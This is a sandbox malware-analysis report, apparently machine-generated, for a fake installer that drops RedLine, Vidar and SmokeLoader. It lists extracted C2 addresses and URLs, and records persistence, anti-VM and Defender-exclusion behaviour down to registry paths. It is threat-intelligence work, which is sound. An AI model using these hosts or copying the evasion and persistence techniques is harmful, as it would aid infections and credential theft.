Overview
overview
10Static
static
setup_x86_...0).exe
windows7_x64
setup_x86_...0).exe
windows10_x64
setup_x86_...1).exe
windows7_x64
setup_x86_...1).exe
windows10_x64
setup_x86_...2).exe
windows7_x64
setup_x86_...2).exe
windows10_x64
setup_x86_...3).exe
windows7_x64
setup_x86_...3).exe
windows10_x64
10setup_x86_...4).exe
windows7_x64
10setup_x86_...4).exe
windows10_x64
setup_x86_...5).exe
windows7_x64
setup_x86_...5).exe
windows10_x64
10setup_x86_...6).exe
windows7_x64
setup_x86_...6).exe
windows10_x64
10setup_x86_...7).exe
windows7_x64
10setup_x86_...7).exe
windows10_x64
10setup_x86_...8).exe
windows7_x64
setup_x86_...8).exe
windows10_x64
setup_x86_...9).exe
windows7_x64
setup_x86_...9).exe
windows10_x64
10setup_x86_...2).exe
windows7_x64
setup_x86_...2).exe
windows10_x64
10setup_x86_...0).exe
windows7_x64
setup_x86_...0).exe
windows10_x64
10setup_x86_...1).exe
windows7_x64
setup_x86_...1).exe
windows10_x64
10setup_x86_...2).exe
windows7_x64
setup_x86_...2).exe
windows10_x64
setup_x86_...3).exe
windows7_x64
setup_x86_...3).exe
windows10_x64
setup_x86_...3).exe
windows7_x64
setup_x86_...3).exe
windows10_x64
Resubmissions
11-07-2024 05:43
240711-gej4lstgrf 1006-09-2021 14:13
210906-rjpvrsedbm 1008-07-2021 11:08
210708-4gztl3mwl6 1008-07-2021 08:02
210708-klfb4qeda6 1007-07-2021 09:39
210707-nem57xyvf2 1006-07-2021 17:51
210706-7pcrmjy3fa 1006-07-2021 13:45
210706-eybelwcq86 10Analysis
-
max time kernel
1801s -
max time network
1808s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
06-07-2021 17:51
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install - копия (10).exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
setup_x86_x64_install - копия (10).exe
Resource
win10v20210410
Behavioral task
behavioral3
Sample
setup_x86_x64_install - копия (11).exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
setup_x86_x64_install - копия (11).exe
Resource
win10v20210410
Behavioral task
behavioral5
Sample
setup_x86_x64_install - копия (12).exe
Resource
win7v20210410
Behavioral task
behavioral6
Sample
setup_x86_x64_install - копия (12).exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
setup_x86_x64_install - копия (13).exe
Resource
win7v20210410
Behavioral task
behavioral8
Sample
setup_x86_x64_install - копия (13).exe
Resource
win10v20210410
Behavioral task
behavioral9
Sample
setup_x86_x64_install - копия (14).exe
Resource
win7v20210410
Behavioral task
behavioral10
Sample
setup_x86_x64_install - копия (14).exe
Resource
win10v20210410
Behavioral task
behavioral11
Sample
setup_x86_x64_install - копия (15).exe
Resource
win7v20210410
Behavioral task
behavioral12
Sample
setup_x86_x64_install - копия (15).exe
Resource
win10v20210410
Behavioral task
behavioral13
Sample
setup_x86_x64_install - копия (16).exe
Resource
win7v20210410
Behavioral task
behavioral14
Sample
setup_x86_x64_install - копия (16).exe
Resource
win10v20210410
Behavioral task
behavioral15
Sample
setup_x86_x64_install - копия (17).exe
Resource
win7v20210410
Behavioral task
behavioral16
Sample
setup_x86_x64_install - копия (17).exe
Resource
win10v20210410
Behavioral task
behavioral17
Sample
setup_x86_x64_install - копия (18).exe
Resource
win7v20210410
Behavioral task
behavioral18
Sample
setup_x86_x64_install - копия (18).exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
setup_x86_x64_install - копия (19).exe
Resource
win7v20210410
Behavioral task
behavioral20
Sample
setup_x86_x64_install - копия (19).exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
setup_x86_x64_install - копия (2).exe
Resource
win7v20210410
Behavioral task
behavioral22
Sample
setup_x86_x64_install - копия (2).exe
Resource
win10v20210410
Behavioral task
behavioral23
Sample
setup_x86_x64_install - копия (20).exe
Resource
win7v20210410
Behavioral task
behavioral24
Sample
setup_x86_x64_install - копия (20).exe
Resource
win10v20210410
Behavioral task
behavioral25
Sample
setup_x86_x64_install - копия (21).exe
Resource
win7v20210410
Behavioral task
behavioral26
Sample
setup_x86_x64_install - копия (21).exe
Resource
win10v20210410
Behavioral task
behavioral27
Sample
setup_x86_x64_install - копия (22).exe
Resource
win7v20210410
Behavioral task
behavioral28
Sample
setup_x86_x64_install - копия (22).exe
Resource
win10v20210410
Behavioral task
behavioral29
Sample
setup_x86_x64_install - копия (23).exe
Resource
win7v20210410
Behavioral task
behavioral30
Sample
setup_x86_x64_install - копия (23).exe
Resource
win10v20210410
Behavioral task
behavioral31
Sample
setup_x86_x64_install - копия (3).exe
Resource
win7v20210410
Behavioral task
behavioral32
Sample
setup_x86_x64_install - копия (3).exe
Resource
win10v20210410
General
-
Target
setup_x86_x64_install - копия (16).exe
Malware Config
Extracted
C:\_readme.txt
https://we.tl/t-fhnNOAYC8Z
Extracted
redline
ServAni
87.251.71.195:82
Extracted
vidar
39.4
706
https://sergeevih43.tumblr.com
-
profile_id
706
Extracted
smokeloader
2020
http://ppcspb.com/upload/
http://mebbing.com/upload/
http://twcamel.com/upload/
http://howdycash.com/upload/
http://lahuertasonora.com/upload/
http://kpotiques.com/upload/
Signatures
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4264 5748 rUNdlL32.eXe 170 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6292 5748 rUNdlL32.eXe 170 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
resource yara_rule behavioral14/memory/4604-260-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral14/memory/4844-264-0x0000000004E80000-0x0000000004EB8000-memory.dmp family_redline behavioral14/memory/4604-263-0x0000000000417F26-mapping.dmp family_redline behavioral14/memory/3812-363-0x0000000000417E8E-mapping.dmp family_redline behavioral14/memory/4788-364-0x0000000000418392-mapping.dmp family_redline behavioral14/memory/1340-362-0x0000000000417E4A-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
description pid Process procid_target PID 4588 created 4612 4588 WerFault.exe 122 -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 4660 created 4752 4660 svchost.exe 136 PID 4660 created 4120 4660 svchost.exe 392 PID 4660 created 5356 4660 svchost.exe 328 PID 4660 created 656 4660 svchost.exe 486 PID 4660 created 4756 4660 svchost.exe 490 -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
resource yara_rule behavioral14/memory/2412-296-0x00000000025D0000-0x000000000266D000-memory.dmp family_vidar behavioral14/memory/2412-297-0x0000000000400000-0x0000000000949000-memory.dmp family_vidar -
resource yara_rule behavioral14/files/0x000100000001ab80-118.dat aspack_v212_v242 behavioral14/files/0x000100000001ab80-119.dat aspack_v212_v242 behavioral14/files/0x000100000001ab7b-121.dat aspack_v212_v242 behavioral14/files/0x000100000001ab7c-120.dat aspack_v212_v242 behavioral14/files/0x000100000001ab7b-127.dat aspack_v212_v242 behavioral14/files/0x000100000001ab7b-126.dat aspack_v212_v242 behavioral14/files/0x000100000001ab7c-123.dat aspack_v212_v242 behavioral14/files/0x000100000001ab7e-130.dat aspack_v212_v242 behavioral14/files/0x000100000001ab7e-128.dat aspack_v212_v242 -
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts èeèrgegdè_éçè_)))_.exe -
Executes dropped EXE 64 IoCs
pid Process 1324 setup_installer.exe 2696 setup_install.exe 196 arnatic_2.exe 184 arnatic_3.exe 2412 arnatic_1.exe 2716 arnatic_4.exe 2804 arnatic_5.exe 2260 arnatic_6.exe 1400 arnatic_7.exe 4276 jfiag3g_gg.exe 4224 arnatic_7.exe 4692 6097905.exe 4724 3533439.exe 4844 2782965.exe 4924 2225103.exe 4604 arnatic_7.exe 4280 WinHoster.exe 4676 jfiag3g_gg.exe 5016 chrome.exe 4876 nHwqJmnNYJh467dmbqBeGwT8.exe 4840 QuCHHh6ZkueRIce4EXjZuAty.exe 4684 tk7ehLf0LShjLou7k0C1hmx4.exe 4344 syyK2gfw_HnD4b8i8LELOlwH.exe 2804 BQCMrLjq_Pmo2vm73VbsHfRN.exe 4612 8tamvkF3JGOozRcpkn7K4IZ2.exe 4844 WerFault.exe 192 jilbGQM2yIbQ5o1ha0ylpuWX.exe 4924 0_XSTRGW2QmRpZsbH5IoFNSD.exe 4576 vLmtPweGMGBBAmOk38WvobD_.exe 4228 bbHYA3KtkP8idyiBGc9KAnwL.exe 4380 7dO3AcV4MntYGLQ5fxG0U27y.exe 2656 jMY7GilChxHnK0oIK3nl4cxV.exe 188 VuNmFDaj7FtVoyGybmMYf96y.exe 4560 Ce2mcMuD5AR57aLgVlnTDR60.exe 3728 L2qE9eXpwD6vesUCp0zjTEOZ.exe 4968 ZxydUqlNe1fW9fRRy5kHikrn.exe 4752 LFczZRTYS1TkaDeFZQXZHZ1n.exe 204 uMEeNITWItDkhAKLDPshA76e.exe 3960 Ce2mcMuD5AR57aLgVlnTDR60.tmp 504 swvttjs 4892 chrome.exe 4400 jooyu.exe 4284 jingzhang.exe 4460 md8_8eus.exe 1340 chrome.exe 3812 _zQvjv3AUtl6lUNBMb7zXPNJ.exe 2172 tk7ehLf0LShjLou7k0C1hmx4.exe 4788 BQCMrLjq_Pmo2vm73VbsHfRN.exe 5040 uMEeNITWItDkhAKLDPshA76e.exe 4764 tk7ehLf0LShjLou7k0C1hmx4.exe 5648 WerFault.exe 1784 GXW16sqyU7mQUdeynx1y2gk8.exe 5680 chrome.exe 1008 GXW16sqyU7mQUdeynx1y2gk8.exe 6140 jfiag3g_gg.exe 1356 238D.exe 4536 LFczZRTYS1TkaDeFZQXZHZ1n.exe 4484 3442.exe 5940 3608.exe 6024 90BC.exe 1784 92B1.exe 4416 963C.exe 5388 9A64.exe 1680 9F08.exe -
Modifies Windows Firewall 1 TTPs
-
Sets service image path in registry 2 TTPs
-
Stops running service(s) 3 TTPs
-
resource yara_rule behavioral14/files/0x000100000001ab84-177.dat upx behavioral14/files/0x000100000001ab84-178.dat upx behavioral14/files/0x000100000001ab9e-292.dat upx behavioral14/files/0x000100000001ab9e-293.dat upx -
Checks BIOS information in registry 2 TTPs 14 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion VuNmFDaj7FtVoyGybmMYf96y.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 238D.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion nHwqJmnNYJh467dmbqBeGwT8.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion vLmtPweGMGBBAmOk38WvobD_.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 238D.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 90BC.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 90BC.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7dO3AcV4MntYGLQ5fxG0U27y.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 0_XSTRGW2QmRpZsbH5IoFNSD.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 0_XSTRGW2QmRpZsbH5IoFNSD.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion nHwqJmnNYJh467dmbqBeGwT8.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion vLmtPweGMGBBAmOk38WvobD_.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7dO3AcV4MntYGLQ5fxG0U27y.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion VuNmFDaj7FtVoyGybmMYf96y.exe -
Checks computer location settings 2 TTPs 5 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation arnatic_6.exe Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation jingzhang.exe Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation Laexedaecedae.exe Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation NMemo3Setp.exe Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation arnatic_3.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pGRKIRrjSW.url Convertira.exe.com -
Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Wine 0_XSTRGW2QmRpZsbH5IoFNSD.exe -
Loads dropped DLL 64 IoCs
pid Process 2696 setup_install.exe 2696 setup_install.exe 2696 setup_install.exe 2696 setup_install.exe 2696 setup_install.exe 2696 setup_install.exe 4264 DllHost.exe 196 chrome.exe 2412 arnatic_1.exe 2412 arnatic_1.exe 4328 chrome.exe 3960 Ce2mcMuD5AR57aLgVlnTDR60.tmp 5648 WerFault.exe 5868 rUNdlL32.eXe 4184 Conhost.exe 2656 jMY7GilChxHnK0oIK3nl4cxV.exe 2656 jMY7GilChxHnK0oIK3nl4cxV.exe 4924 0_XSTRGW2QmRpZsbH5IoFNSD.exe 4924 0_XSTRGW2QmRpZsbH5IoFNSD.exe 1356 238D.exe 1356 238D.exe 504 swvttjs 1784 92B1.exe 4416 963C.exe 4416 963C.exe 4416 963C.exe 4416 963C.exe 4416 963C.exe 5108 F838.tmp 5816 I-Record.exe 5816 I-Record.exe 5816 I-Record.exe 5816 I-Record.exe 5816 I-Record.exe 5816 I-Record.exe 5816 I-Record.exe 5816 I-Record.exe 5816 I-Record.exe 5816 I-Record.exe 5816 I-Record.exe 3460 B08.exe 3460 B08.exe 4960 build2.exe 4960 build2.exe 4528 Conhost.exe 5632 Setup3310.tmp 5632 Setup3310.tmp 7072 toolspab1.exe 3176 rundll32.exe 3048 rUNdlL32.eXe 5136 SunLabsPlayer.exe 5136 SunLabsPlayer.exe 5136 SunLabsPlayer.exe 5136 SunLabsPlayer.exe 5136 SunLabsPlayer.exe 5136 SunLabsPlayer.exe 5136 SunLabsPlayer.exe 5136 SunLabsPlayer.exe 5136 SunLabsPlayer.exe 5136 SunLabsPlayer.exe 5136 SunLabsPlayer.exe 5136 SunLabsPlayer.exe 5136 SunLabsPlayer.exe 5136 SunLabsPlayer.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 3460 icacls.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral14/files/0x000200000001aba4-321.dat themida behavioral14/files/0x000200000001aba4-322.dat themida -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QRIvBFx = "0" rundll32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\TEMP\ = "0" rundll32.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 3533439.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\e5a6e0e4-f436-453b-b691-bcdfeba5615c\\ED3A.exe\" --AutoStart" ED3A.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Internet Explorer\\Jybababefa.exe\"" èeèrgegdè_éçè_)))_.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\auovltwq = "\"C:\\Users\\Admin\\ntpyxrhm.exe\"" 673.exe -
Checks for any installed AV software in registry 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\KasperskyLab powershell.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA lylal220.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA vLmtPweGMGBBAmOk38WvobD_.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md8_8eus.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA VuNmFDaj7FtVoyGybmMYf96y.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 238D.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 90BC.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA F691.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 7dO3AcV4MntYGLQ5fxG0U27y.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA nHwqJmnNYJh467dmbqBeGwT8.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 19 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 544 ipinfo.io 546 ipinfo.io 677 api.2ip.ua 886 api.2ip.ua 52 ipinfo.io 56 api.db-ip.com 57 api.db-ip.com 459 api.2ip.ua 1120 api.2ip.ua 465 api.2ip.ua 676 api.2ip.ua 1503 api.2ip.ua 53 ipinfo.io 569 ip-api.com 885 api.2ip.ua 1329 api.2ip.ua 12 ip-api.com 236 checkip.amazonaws.com 460 api.2ip.ua -
Drops file in System32 directory 16 IoCs
description ioc Process File opened for modification C:\Windows\System32\GroupPolicy rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy rundll32.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent 54681251535EE1C3 svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent B26248B6A0C19938 svchost.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini rundll32.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent A8A2C25FCE7E8D72 svchost.exe File opened for modification C:\Windows\System32\Tasks\Time Trigger Task svchost.exe File opened for modification C:\Windows\System32\Tasks\QRIvBFx svchost.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI rundll32.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy\Machine\Registry.pol rundll32.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI rundll32.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4528 Conhost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
pid Process 4876 nHwqJmnNYJh467dmbqBeGwT8.exe 4380 7dO3AcV4MntYGLQ5fxG0U27y.exe 4576 vLmtPweGMGBBAmOk38WvobD_.exe 4924 0_XSTRGW2QmRpZsbH5IoFNSD.exe 188 VuNmFDaj7FtVoyGybmMYf96y.exe 1356 238D.exe 6024 90BC.exe -
Suspicious use of SetThreadContext 21 IoCs
description pid Process procid_target PID 3164 set thread context of 4392 3164 svchost.exe 97 PID 1400 set thread context of 4604 1400 arnatic_7.exe 100 PID 4344 set thread context of 1340 4344 syyK2gfw_HnD4b8i8LELOlwH.exe 239 PID 5016 set thread context of 3812 5016 chrome.exe 165 PID 2804 set thread context of 4788 2804 BQCMrLjq_Pmo2vm73VbsHfRN.exe 148 PID 4684 set thread context of 4764 4684 tk7ehLf0LShjLou7k0C1hmx4.exe 161 PID 4840 set thread context of 5648 4840 QuCHHh6ZkueRIce4EXjZuAty.exe 179 PID 4844 set thread context of 1008 4844 WerFault.exe 178 PID 4524 set thread context of 500 4524 ED3A.exe 276 PID 1128 set thread context of 4200 1128 ED3A.exe 281 PID 5460 set thread context of 4960 5460 build2.exe 312 PID 3720 set thread context of 6804 3720 jqnpceny.exe 375 PID 6652 set thread context of 7072 6652 toolspab1.exe 379 PID 4884 set thread context of 6324 4884 Convertira.exe.com 410 PID 6624 set thread context of 3328 6624 ED3A.exe 444 PID 5804 set thread context of 4752 5804 euvttjs 460 PID 4692 set thread context of 2328 4692 ED3A.exe 462 PID 1876 set thread context of 4016 1876 ED3A.exe 471 PID 1828 set thread context of 4416 1828 euvttjs 479 PID 5496 set thread context of 6312 5496 ED3A.exe 483 PID 2348 set thread context of 1760 2348 ED3A.exe 505 -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\i-record\is-IH5RO.tmp irecord.tmp File created C:\Program Files (x86)\lighteningplayer\lua\intf\dummy.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libty_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libvoc_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_dirac_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\modules\httprequests.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libscreen_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\librawdv_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\meta_engine\libtaglib_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\spu\libsubsdelay_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libhotkeys_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\i-record\avformat-53.dll irecord.tmp File created C:\Program Files (x86)\i-record\is-1AF7C.tmp irecord.tmp File created C:\Program Files (x86)\i-record\is-5Q7DK.tmp irecord.tmp File created C:\Program Files (x86)\lighteningplayer\lua\http\mobile.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\lua\liblua_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\liblogger_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc16x16.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\control\libnetsync_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\Browzar\Uninstall.exe ZxydUqlNe1fW9fRRy5kHikrn.exe File opened for modification C:\Program Files (x86)\i-record\AForge.Video.dll irecord.tmp File opened for modification C:\Program Files (x86)\i-record\unins000.dat irecord.tmp File created C:\Program Files (x86)\lighteningplayer\lua\http\vlm.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\images\Folder-48.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libwasapi_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libes_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libmod_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\temp_files SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\Browzar\Browzar.exe ZxydUqlNe1fW9fRRy5kHikrn.exe File opened for modification C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe ZxydUqlNe1fW9fRRy5kHikrn.exe File opened for modification C:\Program Files (x86)\i-record\avutil-51.dll irecord.tmp File created C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\intf\modules\host.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\libfingerprinter_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files\temp_files\ SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\file4.exe jilbGQM2yIbQ5o1ha0ylpuWX.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\js\common.js SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libshm_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libcdda_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libnsc_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libtta_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\misc\libexport_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libadummy_plugin.dll SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\librawaud_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\i-record\avdevice-53.dll irecord.tmp File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\vlm.xml SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\access\libtcp_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\i-record\AForge.Video.FFMPEG.dll irecord.tmp File created C:\Program Files (x86)\lighteningplayer\lua\playlist\jamendo.luac SunLabsPlayer.exe File opened for modification C:\Program Files\temp_files\data.dll data_load.exe File created C:\Program Files (x86)\lighteningplayer\plugins\demux\libpva_plugin.dll SunLabsPlayer.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\jingzhang.exe jilbGQM2yIbQ5o1ha0ylpuWX.exe File opened for modification C:\Program Files (x86)\i-record\swscale-2.dll irecord.tmp File created C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\browse_window.html SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\browse.xml SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\http\requests\playlist.xml SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\meta\art\03_lastfm.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\lua\playlist\vimeo.luac SunLabsPlayer.exe File created C:\Program Files (x86)\lighteningplayer\plugins\spu\liblogo_plugin.dll SunLabsPlayer.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 16 IoCs
